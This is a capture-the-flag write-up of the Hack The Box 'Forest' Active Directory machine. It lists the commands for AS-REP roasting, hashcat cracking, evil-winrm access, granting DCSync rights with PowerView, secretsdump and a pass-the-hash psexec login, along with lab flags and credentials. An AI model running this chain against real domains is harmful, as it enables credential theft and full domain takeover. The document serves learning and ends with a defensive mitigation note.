

# Forest (HTB) - Writeup

**Target:** Forest (Hack The Box)

**Author:** eks & mrb3n

**Difficulty:** Medium

**Environment:** Windows Active Directory

**Status:** Fully Compromised

**Pwned by:** ziliel

**Date:** 2025.07.08

## Summary

This machine demonstrates a classic Active Directory attack chain where users without Kerberos pre-authentication are vulnerable to AS-REP roasting. Cracked service credentials allow domain access, which can then be escalated through excessive group privileges and DCSync rights to fully compromise the domain.

## Skills Required

- Basic Active Directory concepts
- Understanding of Kerberos authentication
- Basic Windows and Linux command-line usage

## Skills Learned

- Enumerating Active Directory users via LDAP
- Identifying AS-REP roastable accounts
- Performing AS-REP Roasting attacks
- Cracking Kerberos hashes with Hashcat
- Using obtained credentials for domain access
- Privilege escalation via domain group membership
- Dumping domain hashes with `secretsdump.py`

# Enumeration

## Nmap:

```
(ziliel㉿ziliel)-[~/media/.../Writeups/OWN/Forest/scans]
$ sudo nmap -Pn -p- -T4 --min-rate=1000 10.129.169.38 > nmap-ports.txt

(ziliel㉿ziliel)-[~/media/.../Writeups/OWN/Forest/scans]
$ sudo nmap -Pn -p- -T4 --min-rate=1000 10.129.169.38 > nmap-ports.txt
```

Enumerated (FQDN: FOREST.hbt.local)

## enum4linux:

```
(ziliel㉿ziliel)-[~/media/.../Writeups/OWN/Forest/scans]
$ enum4linux -a 10.129.169.38 > enum4linux.txt
```

found (usernames: sebastien, lucinda, svc-alfresco, andy, mark, santi)

## automated AS-REP Roasting:

AS-REP Roasting is possible because the svc-alfresco account does not require Kerberos pre-authentication, allowing offline password cracking without valid credentials.

```
(ziliel㉿ziliel)-[~/media/.../Writeups/OWN/Forest/scans]
$ while read p; do python3 /media/ziliel/SANDISK-256/scripts/impacket-0.12.0/examples/GetNPUsers.py hbt.local/"$p" -request -no-pass -dc-ip 10.129.169.38 >> hash.txt; done < usernames.txt
```

Obtained TGT-hash for svc-alfresco

## hashcat:

```
(ziliel㉿ziliel)-[~/media/.../Writeups/OWN/Forest/scans]
$ hashcat -a 0 -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
```

Identified (creds: svc-alfresco:s3rvice)

# Initial Access

## evil-winrm:

```
(ziliel㉿ziliel)-[~/media/.../Writeups/OWN/Forest/scans]
$ evil-winrm -i 10.129.169.38 -u svc-alfresco -p 's3rvice'
```

Recovered (user.txt):

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt
d754f1c318c463d6fa4d190d58f6bac7
```

# PrivEsc

## Manual Enum:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> whoami /groups
```

found (Group: Remote Management Users)

Further enumeration revealed that svc-alfresco had sufficient privileges to create new users and modify group memberships, enabling privilege escalation. We create a new user john and add him to high privilege groups.

## Creating a new user (john) and assigning elevated privileges:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user john abc123! /add /domain  
The command completed successfully.
```

## Adding john to privileged groups:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions" john /add  
The command completed successfully.
```

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net localgroup "Remote Management Users" john /add  
The command completed successfully.
```

## Uploading PowerView.ps1:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> upload PowerView.ps1
```

we will need the Add-ObjectACL function from PowerView to give john DCSPrivileges.

## Running PowerView.ps1:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> . .\PowerView.ps1
```

## Using Add-ObjectACL with john's credentials and giving him DCSSync rights:

By granting john DCSSync privileges, we allow the account to impersonate a domain controller and request password hashes for any domain user, including the domain administrator.

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $pass = ConvertTo-SecureString 'abc123!' -AsPlainText -Force  
$cred = New-Object System.Management.Automation.PSCredential('htb\john', $pass)  
Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSSync
```

## secretsdump:

```
[ziliel@ziliel)-[/media/.../Writeups/OWN/Forest/scans]  
$ impacket-secretsdump htb/john@10.129.169.38
```

using secretsdump with john will dump all credentials on the domain because of john's DCSPrivileges.

## psexec:

```
(ziliel@ziliel)-[~/media/.../Writeups/OWN/Forest/scans]
$ impacket-psexec administrator@10.129.169.38 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a
07ceea6
```

We copied the Administrator NTLM hash and connected through pass-the-hash technique with psexec.

Obtained root.txt:

```
Directory of C:\Users\Administrator\Desktop

09/23/2019  02:15 PM    <DIR>      .
09/23/2019  02:15 PM    <DIR>      ..
07/05/2025  08:51 AM        34  root.txt
```

## Tools Used

- nmap
- enum4linux
- GetNPUsers.py (Impacket)
- hashcat
- evil-winrm
- PowerView.ps1
- secretsdump.py (Impacket)
- psexec.py (Impacket)

## Attack Chain:

AS-REP Roasting → svc-alfresco → Domain Access → User Creation → DCSync → Domain Admin

## Defensive Mitigation

Kerberos pre-authentication should be enforced on all accounts, service account passwords should be strong and rotated, and DCSync permissions must be tightly restricted and monitored.

## Learned

This box reinforced my knowledge of AS-REP Roasting and privilege escalation via group membership and DCSync. It also gave me hands-on experience with PowerView and pass-the-hash attacks.